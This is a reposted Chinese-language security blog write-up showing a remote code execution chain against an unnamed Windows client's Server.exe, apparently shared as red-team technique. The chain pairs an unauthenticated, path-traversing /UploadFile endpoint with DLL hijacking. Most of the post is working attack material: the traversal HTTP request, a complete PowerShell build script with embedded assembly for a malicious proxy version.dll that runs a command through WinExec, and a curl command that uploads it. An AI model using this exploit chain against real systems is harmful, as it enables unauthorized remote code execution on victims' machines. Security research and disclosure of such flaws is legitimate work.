【代码审计】客户端漏洞之未授权文件上传+dll劫持实现命令执行rce

admin 2026-07-10 05:29:41 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细演示了通过未授权文件上传漏洞结合DLL劫持实现远程命令执行的完整攻击流程。核心发现包括:客户端HTTP服务绑定0.0.0.0可远程访问;UploadFile接口存在目录穿越漏洞;version.dll因未指定绝对路径可被劫持。文章提供了从漏洞发现、数据包构造到恶意DLL生成的详细步骤,属于典型的红队实战技术分享。 综合评分: 80 文章分类: 代码审计,漏洞分析,渗透测试,红队,恶意软件


cover_image

【代码审计】客户端漏洞之未授权文件上传+dll劫持实现命令执行rce

原创

挖个洞先 挖个洞先

挖个洞先

2026年7月7日 20:12 北京

在小说阅读器读本章

去阅读

 悠仁,你很强,所以要去帮助别人。在你力所能及的范围之内就行,能救的人都去救。迷茫也无所谓,不被人感谢也别在意,总之尽可能多地帮助别人。你要在众人的簇拥下死去。——《咒术回战》S1E1 

01

操作步骤

1、Parameters.ini配置文件定义HTTP端口80

2、查看80发现绑定0.0.0.0,可以远程攻击

netstat -ano | findstr ":80"Get-Process -Id 3128

3、导入Server.exe,Strings搜索/定位接口

4、点击/UploadFile,

查看交叉引用进入_TfrmMain_HTTPServerCommandGet函数

5、定位到代码

如果接口是UploadFile进入条件分支else if ( (unsigned __int8)unknown_libname_145(*(_DWORD *)(v169 + 164), &str__UploadFile[1]) )参数名是fileClasses::TStrings::GetValue(*(Classes::TStrings **)(v169 + 144), (const int)&str_file[1]);UploadDir直接拼接,存在目录穿越System::__linkproc__ LStrCatN(v153, 4, v13, &str__UploadDir_[1], *(_DWORD *)v153);

6、构造数据包,使用另一台机器发包

POST /UploadFile?file=../../../../../../../../../123.txt HTTP/1.1Host: 192.168.31.110Content-Type: application/octet-streamContent-Length: 3Connection: close123

7、成功上传到安装目录的根路径

8、查看Imports,version.dll没写绝对路径,存在dll劫持

9、构造version.dll

param(    [string]$ToolRoot = $env:W64DEVKIT_ROOT,    [string]$BuildRoot = $env:VULN02_BUILD_ROOT,    [string]$OutputPath = "")$ErrorActionPreference = "Stop"$scriptDir = if ($PSScriptRoot) { $PSScriptRoot } else { (Get-Location).Path }if ([string]::IsNullOrWhiteSpace($OutputPath)) {    $OutputPath = Join-Path $scriptDir "version.dll"}$embeddedAsm = @'bits 32extern _GetProcAddressextern _LoadLibraryWextern _WinExecglobal _DllMain@12global _GetFileVersionInfoAglobal _GetFileVersionInfoSizeAglobal _VerQueryValueAsection .data    h_realver dd 0    p_GetFileVersionInfoA dd 0    p_GetFileVersionInfoSizeA dd 0    p_VerQueryValueA dd 0    n_GetFileVersionInfoA db "GetFileVersionInfoA", 0    n_GetFileVersionInfoSizeA db "GetFileVersionInfoSizeA", 0    n_VerQueryValueA db "VerQueryValueA", 0    cmd_calc db "calc", 0    realver_path:        dw 'C', ':', '\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\'        dw 'S', 'y', 's', 'W', 'O', 'W', '6', '4', '\'        dw 'v', 'e', 'r', 's', 'i', 'o', 'n', '.', 'd', 'l', 'l', 0section .textensure_real:    cmp dword [h_realver], 0    jne .done    push realver_path    call _LoadLibraryW    mov [h_realver], eax.done:    retresolve_real:    push ebp    mov ebp, esp    push ebx    call ensure_real    mov eax, [ebp + 8]    push eax    push dword [h_realver]    call _GetProcAddress    mov ebx, [ebp + 12]    mov [ebx], eax    pop ebx    pop ebp    ret 8_DllMain@12:    push ebp    mov ebp, esp    cmp dword [ebp + 12], 1    jne .ret_true    push 1    push cmd_calc    call _WinExec.ret_true:    mov eax, 1    pop ebp    ret 12_GetFileVersionInfoA:    cmp dword [p_GetFileVersionInfoA], 0    jne .go    push p_GetFileVersionInfoA    push n_GetFileVersionInfoA    call resolve_real.go:    jmp dword [p_GetFileVersionInfoA]_GetFileVersionInfoSizeA:    cmp dword [p_GetFileVersionInfoSizeA], 0    jne .go    push p_GetFileVersionInfoSizeA    push n_GetFileVersionInfoSizeA    call resolve_real.go:    jmp dword [p_GetFileVersionInfoSizeA]_VerQueryValueA:    cmp dword [p_VerQueryValueA], 0    jne .go    push p_VerQueryValueA    push n_VerQueryValueA    call resolve_real.go:    jmp dword [p_VerQueryValueA]'@$embeddedKernelDef = @'LIBRARY KERNEL32.dllEXPORTS    GetProcAddress    LoadLibraryW    WinExec'@$embeddedExportDef = @'LIBRARY version.dllEXPORTS    GetFileVersionInfoA=GetFileVersionInfoA    GetFileVersionInfoSizeA=GetFileVersionInfoSizeA    VerQueryValueA=VerQueryValueA'@function Test-AsciiPath {    param([Parameter(Mandatory = $true)][string]$Path)    foreach ($ch in $Path.ToCharArray()) {        if ([int][char]$ch -gt 127) {            return $false        }    }    return $true}function Add-CandidatePath {    param(        [System.Collections.Generic.List[string]]$List,        [string]$Path    )    if (-not [string]::IsNullOrWhiteSpace($Path) -and -not $List.Contains($Path)) {        [void]$List.Add($Path)    }}function Resolve-Tool {    param([Parameter(Mandatory = $true)][string]$Name)    $candidates = [System.Collections.Generic.List[string]]::new()    if (-not [string]::IsNullOrWhiteSpace($ToolRoot)) {        Add-CandidatePath $candidates (Join-Path $ToolRoot "bin/$Name")        Add-CandidatePath $candidates (Join-Path $ToolRoot $Name)    }    Add-CandidatePath $candidates (Join-Path $scriptDir "w64devkit/bin/$Name")    Add-CandidatePath $candidates (Join-Path (Split-Path -Parent $scriptDir) "w64devkit/bin/$Name")    Add-CandidatePath $candidates "D:/path/gcc-w64devkit-1.22.0/w64devkit/bin/$Name"    $command = Get-Command $Name -ErrorAction SilentlyContinue    if ($command) {        Add-CandidatePath $candidates $command.Source    }    foreach ($candidate in $candidates) {        if (Test-Path -LiteralPath $candidate) {            return (Resolve-Path -LiteralPath $candidate).Path        }    }    throw "Tool not found: $Name. Add w64devkit/bin to PATH, or run with -ToolRoot, for example: ./build_nasm_x86.ps1 -ToolRoot C:/tools/w64devkit"}function Resolve-AsciiBuildDir {    $roots = [System.Collections.Generic.List[string]]::new()    Add-CandidatePath $roots $BuildRoot    Add-CandidatePath $roots "D:/win/tmpascii"    Add-CandidatePath $roots $env:TEMP    Add-CandidatePath $roots $env:TMP    if (-not [string]::IsNullOrWhiteSpace($env:SystemRoot)) {        Add-CandidatePath $roots (Join-Path $env:SystemRoot "Temp")    }    Add-CandidatePath $roots "C:/Temp"    foreach ($root in $roots) {        try {            New-Item -ItemType Directory -Force -Path $root | Out-Null            $fullRoot = [System.IO.Path]::GetFullPath($root)            if (-not (Test-AsciiPath $fullRoot)) {                continue            }            $dir = Join-Path $fullRoot "vuln02_version_build"            New-Item -ItemType Directory -Force -Path $dir | Out-Null            return $dir        } catch {            continue        }    }    throw "No writable ASCII build directory found. Use -BuildRoot C:/Temp, or set VULN02_BUILD_ROOT."}function Write-AsciiFile {    param(        [Parameter(Mandatory = $true)][string]$Path,        [Parameter(Mandatory = $true)][string]$Content    )    $parent = Split-Path -Parent $Path    New-Item -ItemType Directory -Force -Path $parent | Out-Null    [System.IO.File]::WriteAllText($Path, $Content, [System.Text.Encoding]::ASCII)}function Invoke-Checked {    param(        [Parameter(Mandatory = $true)][string]$FilePath,        [Parameter(ValueFromRemainingArguments = $true)][string[]]$Arguments    )    & $FilePath @Arguments    if ($LASTEXITCODE -ne 0) {        throw "Command failed: $FilePath $($Arguments -join ' ')"    }}$nasm = Resolve-Tool "nasm.exe"$dlltool = Resolve-Tool "dlltool.exe"$ld = Resolve-Tool "ld.exe"$as = Resolve-Tool "as.exe"$buildDir = Resolve-AsciiBuildDir$buildAsm = Join-Path $buildDir "version_dll_nasm.asm"$buildKernelDef = Join-Path $buildDir "kernel32_min.def"$buildExportDef = Join-Path $buildDir "version_exports.def"$buildObj = Join-Path $buildDir "version_dll_nasm.obj"$buildKernelLib = Join-Path $buildDir "libkernel32_min.a"$buildOut = Join-Path $buildDir "version.dll"Write-AsciiFile $buildAsm $embeddedAsmWrite-AsciiFile $buildKernelDef $embeddedKernelDefWrite-AsciiFile $buildExportDef $embeddedExportDefInvoke-Checked $nasm "-f" "win32" $buildAsm "-o" $buildObjInvoke-Checked $dlltool "-m" "i386" "--as" $as "--as-flags" "--32" "--input-def" $buildKernelDef "--output-lib" $buildKernelLibInvoke-Checked $ld "-m" "i386pe" "--shared" "--enable-stdcall-fixup" "-e" "_DllMain@12" "-o" $buildOut $buildObj $buildExportDef $buildKernelLibCopy-Item -LiteralPath $buildOut -Destination $OutputPath -ForceWrite-Host "built: $OutputPath"Write-Host "build dir: $buildDir"

10、上传dll

curl.exe -v --http1.1 --request POST -H "Content-Type: application/octet-stream" --data-binary "@E:/version.dll" "http://192.168.31.110/UploadFile?file=..%5C..%5Cversion.dll"

11、关闭Server.exe重新打开触发命令执行打开计算器


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:挖个洞先 挖个洞先 挖个洞先《【代码审计】客户端漏洞之未授权文件上传+dll劫持实现命令执行rce》

评论:0   参与:  0